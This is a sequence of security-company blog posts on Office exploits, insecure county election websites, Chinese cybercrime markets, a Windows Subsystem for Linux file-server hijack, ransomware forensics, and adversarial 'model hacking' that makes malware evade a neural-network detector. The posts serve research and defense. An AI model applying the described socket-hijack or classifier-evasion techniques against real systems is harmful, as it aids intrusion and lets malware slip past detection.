  • Extract and analysing embedded or linked objects for malicious code, payload or resource handler invocations becomes very essential.
  • If RTF document has a higher volume of appended data, it must be further looked at.
  • Non-OLE control words and OLE packages must also be analysed for any malicious content.

McAfee Response

As Microsoft Office vulnerabilities continue to surface, generic inspection methods will have to be improved and enhanced, consequently leading to better detection results. As a reminder, the McAfee Anti-Malware engine used on all our endpoints and most of our appliances has the potential to unpack Office, RTF and OLE documents, expose the streams of content and unpack these streams if necessary.

The post An Inside Look into Microsoft Rich Text Format and OLE Exploits appeared first on McAfee Blog.

U.S. Battleground County Website Security Survey

4 February 2020 at 05:00

Today McAfee released the results of a survey of county websites and county election administration websites in the 13 states projected as battleground states in the 2020 U.S. presidential elections. We found that significant majorities of these websites lacked the official government .GOV website validation and HTTPS website security measures to prevent malicious actors from launching copycat web domains posing as legitimate county government sites.

These shortcomings could make it possible for malicious actors to spread false and misleading election information through mass bulk email and website promotion campaigns that could suppress, misdirect, or otherwise disrupt Election Day proceedings in such a way that they could impact the number of votes cast and, ultimately, perhaps impact the results of the 2020 U.S. elections.

Why .GOV & HTTPS?

Whereas websites using .COM, .NET, .ORG, and .US in their names are easily accessible to anyone with a credit card from website domain vendors such as GoDaddy.com, acquiring a .GOV website name requires that buyers submit evidence to the U.S. government that they truly are buying these names on behalf of legitimate local, county, or state government entities.

The lack of .gov in a website name means that no controlling government authority has validated that the website in question is legitimate.

When website visitors see the HTTPS and a lock icon in the address of a website they are visiting, this means that their browser has made a secure connection with that website through a technology called Secure Sockets Layer (SSL). While SSL sounds technical, the security it delivers is easy to understand. These signifiers simply tell visitors that any personal voter registration information that they share with those websites is encrypted and cannot be intercepted and stolen by hackers while they are visiting the site.

 

Additionally, and more importantly to the election disinformation issue, they also tell visitors that they cannot be re-routed against their will from legitimate government websites to other websites pretending to be government websites.

What McAfee’s survey found

McAfee’s January 2020 survey researched states projected by U.S. election prognosticators to be pivotal in determining the victor in the 2020 Presidential Elections. States surveyed include Arizona, Florida, Georgia, Iowa, Michigan, Minnesota, Nevada, New Hampshire, North Carolina, Ohio, Pennsylvania, Texas, and Wisconsin. Together, these states account for 201 of the 270 electoral votes required to win the U.S. presidential election.

State counties lacking .GOV validation

Of the 1,117 counties in the survey group, 83.3% of their websites lack .GOV validation. Minnesota ranked the lowest among the surveyed states in terms of .GOV website validation with 95.4% of counties lacking U.S. government certification. Other states severely lacking in .GOV coverage included Texas (94.9%), New Hampshire (90.0%), Michigan (89.2%), Iowa (88.9%), Nevada (87.5%), and Pennsylvania (83.6%).

Arizona had the highest percentage of main county websites validated by .GOV with 66.7% coverage, but even this percentage suggests that a third of the Grand Canyon State’s county websites are unvalidated and that hundreds of thousands of voters could still be subjected to disinformation schemes.

State counties lacking HTTPS protection

McAfee’s survey found that 46.6% of county websites lack HTTPS encryption. Texas ranked the lowest in terms of encryption with 77.2% of its county websites failing to protect citizens visiting these web properties. Other states with counties lacking in encryption included Pennsylvania (46.3%), Minnesota (42.5%), and Georgia (38.4%).

Assessment of Iowa and New Hampshire

In Iowa, 88.9% of county websites lack .GOV validation, and as many as 29.3% lack HTTPS encryption. Ninety percent of New Hampshire’s county websites lack .GOV validation, and as many as 30% of the Granite State’s counties lack encryption.

Inconsistent naming standards

McAfee’s research found that some states attempted to establish standard naming standards, such as www.co.[county name].[two-letter state abbreviation].us. Unfortunately, these formats were followed so inconsistently that a voter seeking election information from her county website cannot be confident that a web domain following such a standard is indeed a legitimate site.

Easy-to-remember naming formats

McAfee found 103 cases in which counties set up easy-to-remember, user-friendly domain names to make their election information easier to remember and access for the broadest possible audience of citizens. Examples include www.votedenton.com, www.votestanlycounty.com, www.carrollcountyohioelections.gov, www.voteseminole.org, and www.worthelections.com. While 93 of these counties (90.2%) protected voters visiting these sites with encryption, only two validated these special domains and websites with .GOV. This suggests that malicious parties could easily set up numerous websites with similarly named domains to spoof these legitimate sites.

.GOV and elections

The lack of .gov matters because, without an official government body validating whether websites truly belong to the government entities they claim, it’s possible for malicious actors to spoof legitimate government sites with fraudulent websites.

If a malicious foreign actor can spoof government websites, he can send hundreds of thousands of emails to voters and use both those emails and the websites to which they are tied to send voters information on the wrong polling places, phony voter registration processes or requirements (barriers), or other incorrect voting instructions that could suppress, misdirect, or otherwise disrupt a key county’s electorate from voting.

If the malicious actor can launch such a digital disinformation campaign close enough to election day, he could reach a critical mass of voters. If he does so before county and state officials become aware of the campaign, it could be very difficult for the officials to counter the disinformation before voter behavior is impacted.

If the actor can successfully disrupt the voting behavior of just tens of thousands of citizens in these key states, their votes may not be counted or their confidence in the validity of election results and even legitimacy of the democratic process overall could be badly shaken.

Ultimately, if a malicious actor seeks to undermine confidence in America’s system of government, such a digital disinformation campaign can succeed in damaging confidence in the electoral process, even if he cannot succeed in impacting actual votes.

Ohio’s Strategy for transitioning to .GOV

While only 19.3% of Ohio’s 88 county main websites have .GOV validation, the state leads McAfee’s survey with 76.1% of county election websites and webpages validated by .GOV certification.

This leadership position appears to be the result of a state-led initiative to transition county election-related content to .GOV validated web properties. A majority of counties have subsequently transitioned their main county websites to .GOV domains, their election-specific websites to .GOV domains, or their election-specific webpages to Ohio’s own .GOV-validated https://ohio.gov/ domain (i.e. https://www.boe.ohio.gov/vanwert/). See here for a complete list of Ohio county election websites.

Such a .GOV transition strategy constitutes an interim solution until more comprehensive efforts are made at the state and federal government level through initiatives such as The DOTGOV Act of 2020. This legislation would require the Department of Homeland Security (DHS) to support .GOV adoption for local governments with technical guidance and financial support.

Please see the following for more information on this subject:

 

 

 

The post U.S. Battleground County Website Security Survey appeared first on McAfee Blog.

How Chinese Cybercriminals Use Business Playbook to Revamp Underground

By: Anne An
11 February 2020 at 05:01

Preface

Because of its longevity and technical sophistication, the Russian cybercriminal underground has long been the benchmark for threat researchers focused on studying cybercrime tactics and techniques; there is a plethora of publications dedicated to analyzing its economy and hacking forums. However, only a handful of studies have centered on the emerging threats and trends from other, less prominent, cybercriminal undergrounds.

Recent data shows that the Chinese cybercriminal underground’s profits exceeded US$15.1 billion in 2017, while causing more than $13.3 billion worth of damage relating to data loss, identity theft and fraud. Over the years, the McAfee Advanced Programs Group (APG) has observed Chinese non-state threat actor groups gradually transform from small local networks targeting mostly Chinese businesses and citizens to large, well-organized criminal groups capable of hacking international organizations.

The development of commercial-scale exploit toolkits and criminal networks that focus on monetization of malware have amplified the growing risks of cybercrime in the Asia Pacific region to include a DDoS attack against the People’s Bank of China in December 2013, a $1 billion SWIFT hack against Bangladesh Bank in February 2016 and a $60 million theft from Far Eastern International Bank in Taiwan in October 2017, to name just a few.

This blog provides a rare glimpse inside the Chinese cybercriminal underground. Analyzing its current business models and techniques has yielded insights into the drastic changes in its operations, including the tactics and strategies it is borrowing from Russian cybercriminals.

Timeline: The Rise of the Chinese Cybercriminal Underground

China established its first cable connection to the world wide web in 1994, around the same time as cybercrime syndicates from Russia and other emerging cybercriminal undergrounds were executing their first major cybercrimes. Chinese leaders have since prioritized the development and acceleration of Internet technologies and, today, the size of China’s Internet use is massive and unparalleled at 800 million users.

However, this growth in Internet usage is not without irony as it has been accompanied by a significant increase in cybercriminal activity. Despite the Chinese government placing high importance on running one of the world’s most sophisticated Internet censorship systems, local cybercriminals are finding workarounds that contribute to China having one of the fastest growing cybercriminal underground economies.

China’s cybercrime enterprise is large, lucrative and expanding quickly. According to 2018 Internet Development Statistics, China’s cybercriminal underground was worth more than US $15 billion, nearly twice the size of its information security industry. The same Chinese-language source also shows that China’s cybercrime is growing at a rate of more than 30 percent a year. An estimated 400,000 people work in underground cybercriminal networks.

Changes in Tactics, Techniques and Procedures

In order to quickly scale up their businesses and maximize return on investment (ROI), Chinese cybercriminals have continuously adapted their tactics, techniques and procedures (TTPs). One significant change is that Chinese cybercriminals are slowly moving away from a high degree of one-to-one engagement through China’s popular QQ instant messaging platform to now establishing more formal cybercriminal networks. These networks use centralized advertising and standard service processes similar to Russian and other more sophisticated cybercriminal underground forums. Cybercriminals can access these centralized networks hosting on the deep web to post their products and services. A large amount of stolen data is available via automated services, where carders can order the credit and debit card information they want without having to interact with another user. With regard to hacking services, Chinese cybercriminals also offer modules for prospective clients to fill out their service requests, including types of attacks, target IP addresses, desirable malware or exploit toolkits and online payment processing. Through establishing a standardized model of sale, Chinese cybercriminals can expand their activity quickly without incurring additional overhead costs.

Attacks-as-a-service

Similar to other prominent cybercrime underworlds, Chinese cybercriminal underground markets are focused on providing excellent customer service. Many of the hackers expand their working hours to include weekends and even provide 24/7 technical support for customers who do not have a technical background. Distributed Denial of Service (DDoS) botnets, traffic sales, source code writing services, email/SMS spam and flooding services are available on the Chinese black markets.

Despite government censorship, a small number of Chinese cybercriminals still use dark web marketplaces to offer their services and products. Those marketplaces are typically specialized in the commercialization of stolen personally identifiable information (PII), bank accounts with high balances, hacking services, and malware customization. However, these darknet markets or hacking forums are not easily accessible because the Chinese government blocks the Tor anonymity network. A large number of Chinese cybercriminals continue to use exclusive and opaque QQ groups, Weibo fora and Baidu Teiba for advertising and communication. Chinese cybercriminals are also active on the clearnet. To avoid government censors and crackdowns, Chinese cybercriminals extensively use slang or other linguistic tactics for communication and advertising, which can be difficult for outsiders to comprehend. For instance, Chinese cybercriminals call a compromised computer or server “chicken meat.” Stolen bank accounts, credit card passwords, or other hijacked accounts are referred to as either “letters” or “envelopes.” Malicious websites and email accounts used for credential phishing attacks or spamming are referred to as “boxes.” Stolen information or details stored in the back of the magnetic stripe of a bank card are referred to as “data”, “track material” or simply “material.”

Moving Operational Base Abroad

Another noticeable trend is that an increasing number of Chinese cybercriminal gangs are moving their operational base abroad, using cryptocurrencies to launder money. They appear to prefer countries and jurisdictions with weak cybercrime legislation or weak enforcement, such as Malaysia, Indonesia, Cambodia and the Philippines. Since 2017, China’s Ministry of Public Security has uncovered over5,000 cases of cross-border telecommunication fraud involving more than US $150 million. Some of the cybercriminal groups are highly structured and work as traditional mafia-like groups that engage delinquent IT professionals; some Chinese cybercrime gangs are well-structured with clear divisions of labor and multiple supply chains. Members are typically located in close geographic proximity, even when the attacks are transnational.

Unique Culture and Practices

Chinese hackers employ different payment methods, recruiting strategies, and operating structures from other cybercriminal undergrounds. AliPay and bank transfers are the generally accepted payment methods advertised by Chinese-language hacking forums; many other forums typically prefer Monero and Bitcoin.

The “Master-Apprentice Mechanism,” which is a form of mentorship, plays a significant role in the Chinese hacking communities. Many Chinese hacker groups utilize the strategy to recruit new members or make profits. As shown in the following graph, QQ hacking group masters, usually masterminds of an organized crime group or an administrator of a hacking community, collect training fees from the members they recruit. These members, known as “apprentices” or “hackers-in-training” are required to participate in multiple criminal “missions” before they complete the training programs. Once training is complete, they are eligible to upgrade to full-time hackers working for their masters and responsible for downstream operations, such as targeted attacks, website hacking and database exfiltration.

Figure 2: Master-Apprentice Mechanism (Source: Author)

Growth of Chinese Cybercrime

The Chinese cybercriminal underground has gone through drastic changes over the years. It gradually transformed from small local networks, targeting mostly Chinese businesses or citizens, to larger and well-organized criminal groups capable of hacking international organizations. My research indicates that there has been a growing threat activity targeting individuals and organizations in South Korea, Taiwan, Singapore, Germany, Canada and the United States. Chinese cybercriminals offer a wide variety of goods and services, ranging from physical counterfeit of US and Canadian driver’s licenses, scans of counterfeit US and Canadian driver’s licenses, US cell phone numbers, credit cards and identification cards to stolen social media and email accounts.

Figure 3: Growth of Chinese cybercrime (Source: Author)

As shown in the following screenshots, 1 million stolen US emails accounts with encrypted passwords are selling for US $117; 1.9 million stolen German email accounts with clear text passwords are available on the Chinese black market for US $400. Counterfeit or scans of US or Canadian passports or drivers licenses are also for sale for as little as US $13.

Figure 4: 1 million US email accounts with encrypted passwords are for sale in the Chinese cybercriminal underground
Figure 5: 1.9 million stolen German email accounts with clear text passwords are for sale in the Chinese cybercriminal underground
Figure 6: Chinese cybercriminals sell physical counterfeit of Canadian driver’s licenses

As shown in the following screenshot, Chinese hackers are also selling stolen personal data, including identification cards and passports from Taiwan and South Korean citizens.

Figure 7: Stolen PII from Taiwanese citizens, including national identification numbers, physical addresses, cell phone numbers, etc. are for sale in the Chinese cybercriminal underground
Figure 8: Chinese hackers selling 17 million South Korean national identification numbers

Login credentials for banks around the world are available on the Chinese cybercriminal underground market, and the higher the available balance of an account, the higher its selling price. Packages of hacked accounts from major US social media companies and networking platforms, gaming service providers, as well as media service providers are sold for as little as US $29 in the underground cybercrime market. These social media accounts are sometimes hacked with the intention of using them as a way to generate fake accounts to ensnare even more web users. A large number of email accounts from Taiwanese (i.e., @yahoo.com.tw) and South Korean email service providers (i.e., @nate.com, @yahoo.com.kr) are being sold on the Chinese black market.

Increasingly Difficult to Separate Cybercrime From Cyberespionage Activity

As the Chinese cybercriminal underground quickly expands its scope and sophistication, it is increasingly difficult to separate cybercrime from cyber espionage activity. This is especially true as I observe that Chinese cybercriminals offer services to spy on businesses and sell commodities that can be used to target businesses or government officials for economic and political espionage purposes. One of the most interesting items I found for sale in the Chinese cybercriminal underground is a full business dossier on Chinese companies and government agencies. Some Chinese hackers sell internal employee directories from high-profile technology companies. Chinese cybercriminals appear to work with malicious insiders or hire hackers to work as undercover agents inside of telecommunications service providers, financial services and technology companies to steal company secrets or other proprietary information. Documents include detailed contact information of CEOs and senior management from China’s top 50 companies. Other business proprietary information, such as credentials associated with a company’s various bank accounts, funding history, marketing strategies, and Tax Identification Number (TIN) are also available for sale on the black market. Malicious actors can use the above-mentioned information to launch targeted attacks against a business or leverage third-party vulnerabilities, such as trusted financial services, staffing firms and IT service providers to infiltrate a target system.

Conclusion

China’s cybercrime networks are rapidly growing in scope and sophistication. Compared to my earlier research paper on China’s cybercriminal underground from three years ago, Chinese cybercriminals have begun to embrace a sophisticated business-model approach and develop complex hierarchies, partnerships and collaboration with cybercriminal groups at home and internationally. These globally operating and organized cybercrime networks are basing themselves in countries with weak legal systems and law enforcement, while taking full advantage of global Internet connectivity to attack targets worldwide. A growing number of Chinese cybercriminals from these networks leverage the deep web to host their infrastructure and sell illegal goods and services, instead of relying on traditional peer-to-peer engagement through the QQ platform. To accelerate profitability, the Chinese hacking community has adopted tactics and techniques similar to Russian and other prominent cybercriminal underground markets to become more structured and service-oriented. In contrast, the Russian cybercriminal networks have been known for their multi-faceted criminal organizational structure specialized in monetizing PII theft and financial fraud. Yet, China’s cybecriminal underground, on the other hand, has placed greater emphasis on community and discipleship in achieving financial gains. Many of China’s cybercriminal networks incorporate this discipleship, also known as the “master-apprentice mechanism”, into a recruiting strategy that is largely different from their Russian counterparts. As China’s cybercrime continues to evolve and advance, international organizations operating in the Asia Pacific region are facing an expanding threat landscape from cybercriminal activity targeting high-value business assets. Intellectual property and identity theft can also cause substantial economic consequences.

The post How Chinese Cybercriminals Use Business Playbook to Revamp Underground appeared first on McAfee Blog.

Intelligence in the Enterprise

11 February 2020 at 05:01

Intelligence became an integral military discipline centuries ago. More recently, this practice evolved into what is called Intelligence Preparation of the Battlefield, or IPB. In both military and civilian agencies, the discipline uses information collection followed by analysis to provide guidance and direction to operators making tactical or organizational decisions. Used strategically, this type of intelligence puts an organization in a stronger position to operate offensively or defensively because in theory, they now know more than their enemy.

This same concept can be applied in the theater of cybersecurity operations. However, the current scope of intelligence in many enterprises describes just one aspect of the IPB discipline: information collection. The critical component missing to complete the process is a specialized researcher trained in this type of analysis and subsequent application of intelligence.

A disciplined intelligence cycle goes deep—applying advanced data collection methodologies from open, closed and propriety sources, social media, human intelligence and the dark web against areas such as cybercrime, hactivism, or cyber espionage to thoroughly analyze the adversary. Intelligence can ultimately be used to prepare organizations tactically and strategically to both anticipate and mitigate modern threats.

The latest research and analysis from McAfee Advanced Program Group (APG) researcher Anne An detailing the actions of Chinese non-state threat actor groups is a great example of intelligence that is invaluable for organizations. This unique take on Chinese cyber criminality educates practitioners on the threats around them, empowering them to prepare their organization to be proactive, rather than reactive. Further, there are many times where organizations are unaware they have been a victim of a cyberattack. This could include stolen data, which McAfee APG may find being sold on the dark markets, and in some cases, could have a devastating effect on their business.

Sun Tzu, the Chinese general, and military strategist once articulated, “The art of war teaches us to rely not on the likelihood of the enemy’s not coming, but on our own readiness to receive him; not on the chance of his not attacking, but rather on the fact that we have made our position unassailable.”  These ancient words are still very meaningful today. If organizations robustly embrace the intelligence process, their defensive posture will exponentially improve.

 

The post Intelligence in the Enterprise appeared first on McAfee Blog.

Knock, Knock – Who’s There?

11 February 2020 at 15:40

A Windows Linux Subsystem Interop Analysis

Following our research from Evil Twins and Windows Linux Subsystem, interoperability between different WSL versions was something that caught our attention. The protocol and mechanism to do file management from/to WSL is a must for Blue and Red Teams whose research will provide new ways to execute known techniques to achieve tactics such as Persistence, Defense Evasion and Execution, among others.

It is important (even if not seen today in regular arsenals) to understand how to protect, detect and react to this attack surface which could be widely spread in the future where WSL could be a de-facto component in every Enterprise machine.

Since Windows 10 version 1903, it is possible to access Linux files from Windows by using the \wsl$[DistroName] path syntax using 9P protocol. During our research, we found some design issues in WSLv1 that were propagated to WSLv2 — even though the core component differs. The main issue involves the lack of security control in the WSL communication object, leading to any user owning the instance to own the listening Planet 9 File System server. At first sight, this may look obvious, but once you control that communication, different ways of using the data being sent back and forth from Windows to the container begin to emerge.

It is important to mention that when running inside an isolated environment like WSLV2, certain activities not crossing boundaries may remain hidden for security products, but once an attempt to execute a malicious app on the Windows side is detected, the scanning mechanism provided by MVISION Endpoint and ENS will trigger to protect. MVISION EDR will provide visibility and detection on some of these artifacts. At the end of this article, we present certain objects to monitor to detect such cases in your organization.

Potential usages for Red Teams and  Researchers:

  • Persistence by hiding the real content, especially on WSLv2 where the root folder is a VHDX image.
  • Protocol fuzzing for discovering vulnerabilities on the implementation.
  • Security bypass by using \\wsl$ syntax in applications that have options to disable Network Folders scan and thus, do not consider this as a local path. (McAfee MVision Endpoint will consider this special path).
  • File tampering (the user accesses a file expecting some content, but it is changed during the transfer).

P9 Server Hijack Pre-Requisites:

  • WSL Enabled
  • Same user privileges as the WSL instance
  • A P9 compatible server

In the following section P9 (Planet 9 File System Protocol) and 9P (the protocol) are used interchangeably

WSLv1 and P9

The communication is done using an AF_UNIX socket (local file) that is currently owned by the user executing the WSL instance. The socket is created by the custom init process. Processes from the Windows side use a p9driver to access that socket by using an implementation of the P9 FileSystem instead of accessing the files as “Windows local”.

Note: Plan 9 has several implementations; currently the format supported by Windows is L / W.

A simple string on init shows that:

  1. The first WSL instance will open the p9 server for that distribution.
  2. Init has an embed server that creates a Unix socket into the distro path.
  3. The Unix socket is used to communicate.
  4. Whenever \\wsl$\ is accessed, P9 driver starts the communication.
  5. A P9 client communicates with the server.

Now, is that fsserver file protected? No! That means that we can hijack that socket and start our P9 server (in this case, I used DIOD as the main source) and from there… the options are endless from protocol fuzzers to trigger something unexpected, to protection bypass, to something very simple that just serves different content than expected.

To find programmatically the fsserver root location using PowerShell:

From there, the next step would be to start our p9 server from WSL (assuming the path was provided as the script argument as shown above):

In this example, next time we access \\wsl$\Debian, it will serve the files from mynewroot.

The below screenshot shows the full procedure using a modified P9 server:

  1. DIOD listening on the local socket.
  2. WSL directory listing before the hijack.
  3. WSL directory listing after the hijack.

At the time we were working on this, WSLv2 was announced and available in the latest Win10 Update. The next question was obvious—can we still do the same, given that the instance is now hosting a real kernel due to its nature of being hosted as a Hyper-V internal instance?

WSLv2 and P9

Now that there is a Linux Kernel the real “p9 Linux” module is activated. C: drive is mounted using P9 with several rdfd/wdfd arguments on top of drvfs.

The host is at CID:2, and ports  50000/1/2 are used for InterOp Messages and instance control.

Back to work — there are some steps to follow to determine whether we can achieve the same P9 Server Hijack or not.

  • Scan open ports listening on WSLv2 instance (a starting point could be modifying sample client code to became a scanner).
  1. Find the instance UID (an option is to check the task manager and wslhost.exe command line).
  2. Scan the instance!

3. Hey! Port 0x405(1029d) is open, let us Knock-Knock to find who is there.

  • P9 server port found… let us go hijack!!!
    1. Listening to the same port as with WSLv1 is not possible , unless we find a way to bypass the restrictions (app/module not using reuseaddr/port, not possible to close from user-space, etc.).
    2. We cannot kill init nor unload the module serving the files, so our best bet would be to close the port from the kernel. At the end of the day, it is our instance and we login as root .
    3. Let us create a vsock module that will:
      1. List current vsock connected sockets.
      2. Close a socket listening on a certain port.

  1. Compile the module using kernel source.
  2. Test it! (Note that same ports are not present and should be fixed, but for what we want the output is enough).

3)   Now, we are free to go, but still, we need to start our P9 DIODserver listening somehow on that port using a VSOCK socket. Since `socat` supports this type of socket it will be a piece of cake.

  • Access \\wsl$\DistributionName and voila!

Protection and Detection with McAfee Products

In Addition to rules related to WSL presented in previous posts, McAfee products provide several ways to detect and protect against P9 hijacking:

  • MVISION Endpoint will scan \\wsl$\ even if network scanning is disabled, so from the execution perspective on Windows side protection will still apply.
  • By using Endpoint Security Expert Rules it’s possible to block execution from WSL paths.
  • To configure Active Response (WSLv1) follow the below steps:
    • Setup a trigger to be notified of this situation a file fsserver is deleted.
      • File Trigger with condition: Files name equals fsserver”
    • Files collector if enabled, looking for fsserver modifications.
      • “Files where Files name equals fsserver”

In MVISION EDR (WSLv1), the file collector should be enabled and looking for wsl.conf modifications (files where files name equals “fsserver”

As a final note, we expect this post to provide new insights about the future exploration of these key areas, mostly considering that WSLv1 and WSLv2 can be converted online and both versions will be fairly used during the next years.

References:

  1. http://doc.cat-v.org/plan_9/misc/ubiquitous_fileserver/
  2. http://9p.io/magic/man2html/5/intro
  3. https://github.com/chaos/diod/blob/master/protocol.md
  4. https://w4mhi.wordpress.com/complete-hyper-v-socket-client-code/
  5. https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/user-guide/make-integration-service
  6. https://tyranidslair.blogspot.com/2019/07/digging-into-wsl-p9-file-system.html
  7. https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/using-expert-rules-in-ens-10-5-3-to-prevent-malicious-exploits/
  8. https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/the-twin-journey-part-1/

 

The post Knock, Knock – Who’s There? appeared first on McAfee Blog.

CSI: Evidence Indicators for Targeted Ransomware Attacks – Part I

12 February 2020 at 15:54
malware

For many years now I have been working and teaching in the field of digital forensics, malware analysis and threat intelligence. During one of the classes we always talk about Lockard’s exchange principle: “with contact between two items, there will be an exchange”. If we translate that to the digital world: “when an adversary breaches a system, they will leave traces of evidence behind”. The challenge is often how to discover that evidence in a timely manner to take action and discover what sources are available for detection. The volatile evidence sources must be secured as soon as possible while the non-volatile sources have a lower priority. An example of order of volatility:

Table 1: Order of Volatility

In this series of two articles, you will see an example we have been observing as a concerning trend over the last couple of months.

In the first stage, companies are infected by some sort of information-stealing malware (Azorult, Dridex, Trickbot), or breached by having a weakly secured RDP server at the edge of the network.

Stage two occurs a few weeks later when the same victim is hit by a targeted ransomware campaign using Ryuk, Bitpaymer or another ransomware family the attacker has access to.

A recent example was covered by the team in this article on Bitpaymer. The adversary executing stage one does not necessarily have to be the same as the actor executing stage two. There are plenty of credentials harvested by Azorult or RDP on underground markets. Below is a screenshot from an advertiser demonstrating the number of Azorult victims (13k) they have made, including the information stolen from them:

Figure 1 Azorult C2 example

Stage 1: The Initial Infection

Figure 2 Stage 1

Although there might be some variations, the graphical overview demonstrates how most of these attacks start. Whether by a drive-by compromise where a user visits a website infected with a malicious script or a spear-phishing campaign, the result is a malware infection that steals credentials, exfiltrates them and results in having valid accounts of the victim. The other scenario is buying the valid account information from the underground. Having valid accounts will give access toward a remote service or direct access to a victim’s machine using the malware. When an adversary makes the next move, 9 out of 10 times we observe the usage of a credential dumping tool like Mimikatz, or PowerShell related activity again for password dumping. The goal? To get local-admin, domain-admin or system rights on a system within the victim’s network. The secondary goal we observe with the usage of PowerShell tools/scripts is conducting reconnaissance of the network.

Digital Evidence Initial Access stage:

T1189 Drive-By Compromise

In this scenario the victim most likely browses the Internet and visits a webpage that contains a malicious script. Following the order of Volatility, where could we discover evidence? Depending on what type of actions are defined in the malicious script, it could leave traces on disk or in memory when injected.

T1192 & T1193 Spear-phishing Link/Attachment

In this scenario, the victim receives an email with a link (T1192) or a weaponized attachment (T1193). By clicking on the link, a website is opened, and follow-up actions are executed as described above in the T1189 Drive-by compromise. The order of volatility is similar but will have a larger chain of execution. Since the user initiated the action, more digital evidence will be available on the victim’s machine:

  1. Execution of a program (Email-client)
  2. Clicking on the link will open the default configured Web-browser
  3. Web-browser visits link
  4. Script will execute

For the execution of a program and launch, there is process evidence, the prefetch directory, UserAssist, Shimcache, RecentApps and many more sources to track when they were launched and executed. The email itself can either be retrieved from the victim’s inbox or, in the case of Webmail, there might be remnants of it in the temporary Internet files. Most of the mentioned evidence artifacts are non-volatile and easy to extract in a forensically sound matter.

In the case of a spear-phishing attack with a weaponized attachment, the flow will look mostly similar to below (of course there are variations):

  1. Execution of a program (Email-client)
  2. Opening attachment
  3. Launch of Office application
  4. Execution of the macro
  5. PowerShell/WMIC followed by Internet traffic downloading file
  6. Execution of script/file
  7. Execution in memory or written to disk and execution

We already discussed the non-volatile evidence available for the execution of a program. In this example there will be evidence for the launch/execution of the email-client and the opening of an Office application to execute the attachment. In case the attachment was opened before saving to disk, in Outlook the file was copied to the “SecureTemp” folder which is a hidden folder under Temporary Internet files.

Depending on the payload of the macro, evidence will exist of Internet related traffic. When PowerShell or WMIC is used, the launch of it is recorded in the Windows Prefetch directory and there are traces in the registry and/or event logs. Depending on what type of script or file is executed, traces can be discovered in memory or on disk, with memory most volatile and disk non-volatile.

When, for example, a malware like Azorult is installed on the victim’s machine, the flow will look like this:

Figure 3 Exfiltration and Communication

The exfiltration of the data is mostly happening over TCP port 80 towards a C2 (command and control) dashboard, as demonstrated in Figure 1. Both T1043 and T1041 are techniques that will most likely leave non-volatile traces behind in network logs from devices like a proxy/gateway/firewall.

What we notice often is that infections with, for example, AZORULT are ignored/underestimated. They are being detected and the infection is either blocked or detected and later cleaned, however the capabilities of the malware are underestimated/ignored.

If we look again to table 1, the order of Volatility, the timeframe in which we operate is seconds to minutes with regards to initial network traffic and running of processes. Between infection and exfiltration is again in the timeframe of minutes, more than enough to exfiltrate credentials before an action was taken. This is also the delta in which we have the challenge – are our people, processes and technology combined capable of responding within this attack-window? Anticipating early warning signs and understanding the malware’s capabilities can assist in preventing larger damage.

What happens when the initial compromise results in having valid credentials or victim access through the RAT (random access Trojan), being used for a targeted ransomware attack? We will discuss that in the next article.

 

 

The post CSI: Evidence Indicators for Targeted Ransomware Attacks – Part I appeared first on McAfee Blog.

Introduction and Application of Model Hacking

19 February 2020 at 09:01

Catherine Huang, Ph.D., and Shivangee Trivedi contributed to this blog.

The term “Adversarial Machine Learning” (AML) is a mouthful!  The term describes a research field regarding the study and design of adversarial attacks targeting Artificial Intelligence (AI) models and features.  Even this simple definition can send the most knowledgeable security practitioner running!  We’ve coined the easier term “model hacking” to enhance the reader’s comprehension of this increasing threat.  In this blog, we will decipher this very important topic and provide examples of the real-world implications, including findings stemming from the combined efforts of McAfee’s Advanced Analytic Team (AAT) and Advanced Threat Research (ATR) for a critical threat in autonomous driving.

  1. First, the Basics

AI is interpreted by most markets to include Machine Learning (ML), Deep Learning (DL), and actual AI, and we will succumb to using this general term of AI here.  Within AI, the model – a mathematical algorithm that provides insights to enable business results – can be attacked without knowledge of the actual model created.  Features are those characteristics of a model that define the output desired.  Features can also be attacked without knowledge of the features used!  What we have just described is known as a “black box” attack in AML – not knowing the model and features – or “model hacking.”  Models and/or features can be known or unknown, increasing false positives or negatives, without security awareness unless these vulnerabilities are monitored and ultimately protected and corrected.

In the feedback learning loop of AI, recurrent training of the model occurs in order to comprehend new threats and keep the model current (see Figure 1).  With model hacking, the attacker can poison the Training Set.  However, the Test Set can also be hacked, causing false negatives to increase, evading the model’s intent and misclassifying a model’s decision.  Simply by perturbating – changing the magnitudes of a few features (such as pixels for images), zeros to ones/ones to zeros, or removing a few features – the attacker can wreak havoc in security operations with disastrous effects.  Hackers will continue to “ping” unobtrusively until they are rewarded with nefarious outcomes – and they don’t even have to attack with the same model that we are using initially!

Figure 1. The continuous feedback loop of AI learning.
  1. Digital Attacks of Images and Malware

Hackers’ goals can be targeted (specific features and one specific error class) or non-targeted (indiscriminate classifiers and more than one specific error class), digital (e.g., images, audio) or physical (e.g., speed limit sign).  Figure 2 shows a rockhopper penguin targeted digitally.  A white-box evasion example (we knew the model and the features), a few pixel changes and the poor penguin in now classified as a frying pan or a computer with excellent accuracy.

Figure 2. An evasion example of a white-box, targeted, and digital attack resulting in the penguin being detected as a desktop computer (85.54%) or a frying pan (93.07%) following pixel perturbations.

While most current model hacking research focuses on image recognition, we have investigated evasion attacks and mitigation methods for malware detection and static analysis.  We utilized DREBIN[1], an Android malware dataset, and replicated the results of Grosse, et al., 2016[2].  Utilizing 625 malware samples highlighting FakeInstaller, and 120k benign samples and 5.5K malware, we developed a four-layer deep neural network with about 1.5K features (see Figure 3).  However, following an evasion attack with only modifying less than 10 features, the malware evaded the neural net nearly 100%.  This, of course, is a concern to all of us.

 

Figure 3. Metrics of the malware dataset and sample sizes.

 

 

Using the CleverHans[1] open-source library’s Jacobian Saliency Map Approach (JSMA) algorithm, we generated perturbations creating adversarial examples.  Adversarial examples are inputs to ML models that an attacker has intentionally designed to cause the model to make a mistake[1].  The JSMA algorithm needs only a minimum number of features need to be modified.  Figure 4 demonstrates the original malware sample (detected as malware with 91% confidence).  After adding just two API calls in a white-box attack, the adversarial example is now detected with 100% confidence as benign. Obviously, that can be catastrophic!

Figure 4. Perturbations added to malware in the feature space resulting in a benign detection with 100% confidence.

 

